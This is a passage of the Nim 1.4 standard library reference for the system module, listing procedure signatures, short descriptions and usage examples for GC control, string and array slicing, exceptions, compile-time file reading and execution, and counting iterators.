raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1080) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1080) ``` proc deallocSharedImpl(p: pointer) {...}{.noconv, gcsafe, gcsafe, locks: 0, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1084) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1084) ``` proc reallocSharedImpl(p: pointer; newSize: Natural): pointer {...}{.noconv, gcsafe, tags: [], gcsafe, locks: 0, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1092) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1092) ``` proc reallocShared0Impl(p: pointer; oldSize, newSize: Natural): pointer {...}{. noconv, gcsafe, tags: [], gcsafe, locks: 0, raises: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/alloc.nim#L1100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/alloc.nim#L1100) ``` proc protect(x: pointer): ForeignCell {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_common.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_common.nim#L15) ``` proc dispose(x: ForeignCell) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_common.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_common.nim#L96) ``` proc isNotForeign(x: ForeignCell): bool {...}{.raises: [], tags: [].} ``` returns true if 'x' belongs to the calling thread. No deep copy has to be performed then. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_common.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_common.nim#L106) ``` proc setupForeignThreadGc() {...}{.gcsafe, raises: [], tags: [].} ``` Call this if you registered a callback that will be run from a thread not under your control. This has a cheap thread-local guard, so the GC for this thread will only be initialized once per thread, no matter how often it is called. This function is available only when `--threads:on` and `--tlsEmulation:off` switches are used [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_common.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_common.nim#L163) ``` proc tearDownForeignThreadGc() {...}{.gcsafe, raises: [], tags: [].} ``` Call this to tear down the GC, previously initialized by `setupForeignThreadGc`. If GC has not been previously initialized, or has already been torn down, the call does nothing. This function is available only when `--threads:on` and `--tlsEmulation:off` switches are used [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_common.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_common.nim#L173) ``` proc nimGC_setStackBottom(theStackBottom: pointer) {...}{.compilerproc, noinline, gcsafe, locks: 0, raises: [], tags: [].} ``` Expands operating GC stack range to `theStackBottom`. Does nothing if current stack bottom is already lower than `theStackBottom`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_common.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_common.nim#L280) ``` proc deallocHeap(runFinalizers = true; allowGcAfterwards = true) {...}{. raises: [Exception], tags: [RootEffect].} ``` Frees the thread local heap. Runs every finalizer if `runFinalizers` is true. If `allowGcAfterwards` is true, a minimal amount of allocation happens to ensure the GC can continue to work after the call to `deallocHeap`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc_common.nim#L434) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc_common.nim#L434) ``` proc gcInvariant() {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc.nim#L390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc.nim#L390) ``` proc GC_collectZct() {...}{.raises: [Exception], tags: [RootEffect].} ``` Collect the ZCT (zero count table). Unstable, experimental API for testing purposes. DO NOT USE! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc.nim#L801) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc.nim#L801) ``` proc GC_disable() {...}{.gcsafe, inline, gcsafe, locks: 0, raises: [], tags: [].} ``` Disables the GC. If called `n` times, `n` calls to `GC_enable` are needed to reactivate the GC. Note that in most circumstances one should only disable the mark and sweep phase with [GC\_disableMarkAndSweep](#GC_disableMarkAndSweep). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc.nim#L843) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc.nim#L843) ``` proc GC_enable() {...}{.gcsafe, inline, gcsafe, locks: 0, raises: [], tags: [].} ``` Enables the GC again. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc.nim#L845) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc.nim#L845) ``` proc GC_enableMarkAndSweep() {...}{.gcsafe, gcsafe, locks: 0, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc.nim#L855) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc.nim#L855) ``` proc GC_disableMarkAndSweep() {...}{.gcsafe, gcsafe, locks: 0, raises: [], tags: [].} ``` The current implementation uses a reference counting garbage collector with a seldomly run mark and sweep phase to free cycles. The mark and sweep phase may take a long time and is not needed if the application does not create cycles. Thus the mark and sweep phase can be deactivated and activated separately from the rest of the GC. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc.nim#L858) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc.nim#L858) ``` proc GC_fullCollect() {...}{.gcsafe, gcsafe, locks: 0, raises: [Exception], tags: [RootEffect].} ``` Forces a full garbage collection pass. Ordinary code does not need to call this (and should not). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc.nim#L862) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc.nim#L862) ``` proc GC_getStatistics(): string {...}{.gcsafe, gcsafe, locks: 0, raises: [], tags: [].} ``` Returns an informative string about the GC's activity. This may be useful for tweaking. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/gc.nim#L868) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/gc.nim#L868) ``` proc addInt(result: var string; x: int64) {...}{.raises: [], tags: [].} ``` Converts integer to its string representation and appends it to `result`. ``` var a = "123" b = 45 a.addInt(b) # a <- "12345" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/strmantle.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/strmantle.nim#L43) ``` proc addFloat(result: var string; x: float) {...}{.raises: [], tags: [].} ``` Converts float to its string representation and appends it to `result`. ``` var a = "123" b = 45.67 a.addFloat(b) # a <- "12345.67" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/strmantle.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/strmantle.nim#L82) ``` proc getCurrentException(): ref Exception {...}{.compilerproc, inline, gcsafe, locks: 0, raises: [], tags: [].} ``` Retrieves the current exception; if there is none, `nil` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2360) ``` proc getCurrentExceptionMsg(): string {...}{.inline, gcsafe, locks: 0, raises: [], tags: [].} ``` Retrieves the error message that was attached to the current exception; if there is none, `""` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2369) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2369) ``` proc setCurrentException(exc: ref Exception) {...}{.inline, gcsafe, locks: 0, raises: [], tags: [].} ``` Sets the current exception. **Warning**: Only use this if you know what you are doing. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2374) ``` proc rawProc[T: proc](x: T): pointer {...}{.noSideEffect, inline.} ``` Retrieves the raw proc pointer of the closure `x`. This is useful for interfacing closures with C. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2387) ``` proc rawEnv[T: proc](x: T): pointer {...}{.noSideEffect, inline.} ``` Retrieves the raw environment pointer of the closure `x`. This is useful for interfacing closures with C. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2394) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2394) ``` proc finished[T: proc](x: T): bool {...}{.noSideEffect, inline.} ``` can be used to determine if a first class iterator has finished. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2401) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2401) ``` proc quit(errormsg: string; errorcode = QuitFailure) {...}{.noreturn, raises: [], tags: [].} ``` A shorthand for `echo(errormsg); quit(errorcode)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2424) ``` proc `/`(x, y: int): float {...}{.inline, noSideEffect, raises: [], tags: [].} ``` Division of integers that results in a float. See also: * [div](#div,int,int) * [mod](#mod,int,int) ``` echo 7 / 5 # => 1.4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2439) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2439) ``` proc `[]`[T, U](s: string; x: HSlice[T, U]): string {...}{.inline.} ``` Slice operation for strings. Returns the inclusive range `[s[x.a], s[x.b]]`: ``` var s = "abcdef" assert s[1..3] == "bcd" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2501) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2501) ``` proc `[]=`[T, U](s: var string; x: HSlice[T, U]; b: string) ``` Slice assignment for strings. If `b.len` is not exactly the number of elements that are referred to by `x`, a splice is performed: **Example:** ``` var s = "abcdefgh" s[1 .. ^2] = "xyz" assert s == "axyzh" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2513) ``` proc `[]`[Idx, T, U, V](a: array[Idx, T]; x: HSlice[U, V]): seq[T] ``` Slice operation for arrays. Returns the inclusive range `[a[x.a], a[x.b]]`: ``` var a = [1, 2, 3, 4] assert a[0..2] == @[1, 2, 3] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2531) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2531) ``` proc `[]=`[Idx, T, U, V](a: var array[Idx, T]; x: HSlice[U, V]; b: openArray[T]) ``` Slice assignment for arrays. ``` var a = [10, 20, 30, 40, 50] a[1..2] = @[99, 88] assert a == [10, 99, 88, 40, 50] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2543) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2543) ``` proc `[]`[T, U, V](s: openArray[T]; x: HSlice[U, V]): seq[T] ``` Slice operation for sequences. Returns the inclusive range `[s[x.a], s[x.b]]`: ``` var s = @[1, 2, 3, 4] assert s[0..2] == @[1, 2, 3] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2557) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2557) ``` proc `[]=`[T, U, V](s: var seq[T]; x: HSlice[U, V]; b: openArray[T]) ``` Slice assignment for sequences. If `b.len` is not exactly the number of elements that are referred to by `x`, a splice is performed. **Example:** ``` var s = @"abcdefgh" s[1 .. ^2] = @"xyz" assert s == @"axyzh" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2569) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2569) ``` proc `[]`[T](s: openArray[T]; i: BackwardsIndex): T {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2586) ``` proc `[]`[Idx, T](a: array[Idx, T]; i: BackwardsIndex): T {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2589) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2589) ``` proc `[]`(s: string; i: BackwardsIndex): char {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2591) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2591) ``` proc `[]`[T](s: var openArray[T]; i: BackwardsIndex): var T {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2593) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2593) ``` proc `[]`[Idx, T](a: var array[Idx, T]; i: BackwardsIndex): var T {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2595) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2595) ``` proc `[]=`[T](s: var openArray[T]; i: BackwardsIndex; x: T) {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2598) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2598) ``` proc `[]=`[Idx, T](a: var array[Idx, T]; i: BackwardsIndex; x: T) {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2600) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2600) ``` proc `[]=`(s: var string; i: BackwardsIndex; x: char) {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2602) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2602) ``` proc slurp(filename: string): string {...}{.magic: "Slurp".} ``` This is an alias for [staticRead](#staticRead,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2605) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2605) ``` proc staticRead(filename: string): string {...}{.magic: "Slurp".} ``` Compile-time [readFile](io#readFile,string) proc for easy resource embedding: The maximum file size limit that `staticRead` and `slurp` can read is near or equal to the *free* memory of the device you are using to compile. ``` const myResource = staticRead"mydatafile.bin" ``` [slurp](#slurp,string) is an alias for `staticRead`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2608) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2608) ``` proc gorge(command: string; input = ""; cache = ""): string {...}{. magic: "StaticExec", raises: [], tags: [].} ``` This is an alias for [staticExec](#staticExec,string,string,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2620) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2620) ``` proc staticExec(command: string; input = ""; cache = ""): string {...}{. magic: "StaticExec", raises: [], tags: [].} ``` Executes an external process at compile-time and returns its text output (stdout + stderr). If `input` is not an empty string, it will be passed as a standard input to the executed program. ``` const buildInfo = "Revision " & staticExec("git rev-parse HEAD") & "\nCompiled on " & staticExec("uname -v") ``` [gorge](#gorge,string,string,string) is an alias for `staticExec`. Note that you can use this proc inside a pragma like [passc](manual#implementation-specific-pragmas-passc-pragma) or [passl](manual#implementation-specific-pragmas-passl-pragma). If `cache` is not empty, the results of `staticExec` are cached within the `nimcache` directory. Use `--forceBuild` to get rid of this caching behaviour then. `command & input & cache` (the concatenated string) is used to determine whether the entry in the cache is still valid. You can use versioning information for `cache`: ``` const stateMachine = staticExec("dfaoptimizer", "input", "0.8.0") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2624) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2624) ``` proc gorgeEx(command: string; input = ""; cache = ""): tuple[output: string, exitCode: int] {...}{.raises: [], tags: [].} ``` Similar to [gorge](#gorge,string,string,string) but also returns the precious exit code. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2651) ``` proc `+=`[T: float | float32 | float64](x: var T; y: T) {...}{.inline, noSideEffect.} ``` Increments in place a floating point number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2658) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2658) ``` proc `-=`[T: float | float32 | float64](x: var T; y: T) {...}{.inline, noSideEffect.} ``` Decrements in place a floating point number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2663) ``` proc `*=`[T: float | float32 | float64](x: var T; y: T) {...}{.inline, noSideEffect.} ``` Multiplies in place a floating point number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2668) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2668) ``` proc `/=`(x: var float64; y: float64) {...}{.inline, noSideEffect, raises: [], tags: [].} ``` Divides in place a floating point number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2673) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2673) ``` proc `/=`[T: float | float32](x: var T; y: T) {...}{.inline, noSideEffect.} ``` Divides in place a floating point number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2677) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2677) ``` proc `&=`(x: var string; y: string) {...}{.magic: "AppendStrStr", noSideEffect.} ``` Appends in place to a string. ``` var a = "abc" a &= "de" # a <- "abcde" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2681) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2681) ``` proc shallow[T](s: var seq[T]) {...}{.noSideEffect, inline.} ``` Marks a sequence `s` as shallow. Subsequent assignments will not perform deep copies of `s`. This is only useful for optimization purposes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2724) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2724) ``` proc shallow(s: var string) {...}{.noSideEffect, inline, raises: [], tags: [].} ``` Marks a string `s` as shallow. Subsequent assignments will not perform deep copies of `s`. This is only useful for optimization purposes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2734) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2734) ``` proc insert(x: var string; item: string; i = 0.Natural) {...}{.noSideEffect, raises: [], tags: [].} ``` Inserts `item` into `x` at position `i`. ``` var a = "abc" a.insert("zz", 0) # a <- "zzabc" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2772) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2772) ``` proc addEscapedChar(s: var string; c: char) {...}{.noSideEffect, inline, raises: [], tags: [].} ``` Adds a char to string `s` and applies the following escaping:* replaces any `\` by `\\` * replaces any `'` by `\'` * replaces any `"` by `\"` * replaces any `\a` by `\\a` * replaces any `\b` by `\\b` * replaces any `\t` by `\\t` * replaces any `\n` by `\\n` * replaces any `\v` by `\\v` * replaces any `\f` by `\\f` * replaces any `\c` by `\\c` * replaces any `\e` by `\\e` * replaces any other character not in the set `{'\21..'\126'} by ``\xHH` where `HH` is its hexadecimal value. The procedure has been designed so that its output is usable for many different common syntaxes. **Note**: This is **not correct** for producing Ansi C code! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2792) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2792) ``` proc addQuoted[T](s: var string; x: T) ``` Appends `x` to string `s` in place, applying quoting and escaping if `x` is a string or char. See [addEscapedChar](#addEscapedChar,string,char) for the escaping scheme. When `x` is a string, characters in the range `{\128..\255}` are never escaped so that multibyte UTF-8 characters are untouched (note that this behavior is different from `addEscapedChar`). The Nim standard library uses this function on the elements of collections when producing a string representation of a collection. It is recommended to use this function as well for user-side collections. Users may overload `addQuoted` for custom (string-like) types if they want to implement a customized element representation. ``` var tmp = "" tmp.addQuoted(1) tmp.add(", ") tmp.addQuoted("string") tmp.add(", ") tmp.addQuoted('c') assert(tmp == """1, "string", 'c'""") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2833) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2833) ``` proc locals(): RootObj {...}{.magic: "Plugin", noSideEffect, raises: [], tags: [].} ``` Generates a tuple constructor expression listing all the local variables in the current scope. This is quite fast as it does not rely on any debug or runtime information. Note that in contrast to what the official signature says, the return type is *not* `RootObj` but a tuple of a structure that depends on the current scope. Example: ``` proc testLocals() = var a = "something" b = 4 c = locals() d = "super!" b = 1 for name, value in fieldPairs(c): echo "name ", name, " with value ", value echo "B is ", b # -> name a with value something # -> name b with value 4 # -> B is 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2881) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2881) ``` proc deepCopy[T](x: var T; y: T) {...}{.noSideEffect, magic: "DeepCopy".} ``` Performs a deep copy of `y` and copies it into `x`. This is also used by the code generator for the implementation of `spawn`. For `--gc:arc` or `--gc:orc` deepcopy support has to be enabled via `--deepcopy:on`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2909) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2909) ``` proc deepCopy[T](y: T): T ``` Convenience wrapper around `deepCopy` overload. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2919) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2919) ``` proc procCall(x: untyped) {...}{.magic: "ProcCall", compileTime, raises: [], tags: [].} ``` Special magic to prohibit dynamic binding for method calls. This is similar to super in ordinary OO languages. ``` # 'someMethod' will be resolved fully statically: procCall someMethod(a, b) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2925) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2925) ``` proc `==`(x, y: cstring): bool {...}{.magic: "EqCString", noSideEffect, inline, raises: [], tags: [].} ``` Checks for equality between two `cstring` variables. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2935) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2935) ``` proc `==`(x: string; y: type(nil) | type(nil)): bool {...}{.error: "\'nil\' is now invalid for \'string\'; compile with --nilseqs:on for a migration period".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2948) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2948) ``` proc `==`(x: type(nil) | type(nil); y: string): bool {...}{.error: "\'nil\' is now invalid for \'string\'; compile with --nilseqs:on for a migration period".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2951) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2951) ``` proc substr(s: string; first, last: int): string {...}{.raises: [], tags: [].} ``` Copies a slice of `s` into a new string and returns this new string. The bounds `first` and `last` denote the indices of the first and last characters that shall be copied. If `last` is omitted, it is treated as `high(s)`. If `last >= s.len`, `s.len` is used instead: This means `substr` can also be used to cut or limit a string's length. **Example:** ``` let a = "abcdefgh" assert a.substr(2, 5) == "cdef" assert a.substr(2) == "cdefgh" assert a.substr(5, 99) == "fgh" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3003) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3003) ``` proc substr(s: string; first = 0): string {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3024) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3024) ``` proc toOpenArray[T](x: ptr UncheckedArray[T]; first, last: int): openArray[T] {...}{. magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3031) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3031) ``` proc toOpenArray(x: cstring; first, last: int): openArray[char] {...}{.magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3034) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3034) ``` proc toOpenArrayByte(x: cstring; first, last: int): openArray[byte] {...}{. magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3036) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3036) ``` proc toOpenArray[T](x: seq[T]; first, last: int): openArray[T] {...}{.magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3039) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3039) ``` proc toOpenArray[T](x: openArray[T]; first, last: int): openArray[T] {...}{. magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3041) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3041) ``` proc toOpenArray[I, T](x: array[I, T]; first, last: I): openArray[T] {...}{. magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3043) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3043) ``` proc toOpenArray(x: string; first, last: int): openArray[char] {...}{.magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3045) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3045) ``` proc toOpenArrayByte(x: string; first, last: int): openArray[byte] {...}{. magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3048) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3048) ``` proc toOpenArrayByte(x: openArray[char]; first, last: int): openArray[byte] {...}{. magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3050) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3050) ``` proc toOpenArrayByte(x: seq[char]; first, last: int): openArray[byte] {...}{. magic: "Slice".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L3052) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L3052) Iterators --------- ``` iterator countdown[T](a, b: T; step: Positive = 1): T {...}{.inline.} ``` Counts from ordinal value `a` down to `b` (inclusive) with the given step count. `T` may be any ordinal type, `step` may only be positive. **Note**: This fails to count to `low(int)` if T = int for efficiency reasons. ``` for i in countdown(7, 3): echo i # => 7; 6; 5; 4; 3 for i in countdown(9, 2, 3): echo i # => 9; 6; 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L6) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L6) ``` iterator countup[T](a, b: T; step: Positive = 1): T {...}{.inline.} ``` Counts from ordinal value `a` to `b` (inclusive) with the given step count. `T` may be any ordinal type, `step` may only be positive. **Note**: This fails to count to `high(int)` if T = int for efficiency reasons. ``` for i in countup(3, 7): echo i # => 3; 4; 5; 6; 7 for i in countup(2, 9, 3): echo i # => 2; 5; 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L39) ``` iterator `..`[T](a, b: T): T {...}{.inline.} ``` An alias for `countup(a, b, 1)`. See also: * [..<](#..<.i,T,T) ``` for i in 3 .. 7: echo i # => 3; 4; 5; 6; 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L66) ``` iterator `..`(a, b: int64): int64 {...}{.inline, raises: [], tags: [].} ``` A type specialized version of `..` for convenience so that mixing integer types works better. See also: * [..<](#..<.i,T,T) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L99) ``` iterator `..`(a, b: int32): int32 {...}{.inline, raises: [], tags: [].} ``` A type specialized version of `..` for convenience so that mixing integer types works better. See also: * [..<](#..<.i,T,T) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L100) ``` iterator `..`(a, b: uint64): uint64 {...}{.inline, raises: [], tags: [].} ``` A type specialized version of `..` for convenience so that mixing integer types works better. See also: * [..<](#..<.i,T,T) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L101) ``` iterator `..`(a, b: uint32): uint32 {...}{.inline, raises: [], tags: [].} ``` A type specialized version of `..` for convenience so that mixing integer types works better. See also: * [..<](#..<.i,T,T) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L102) 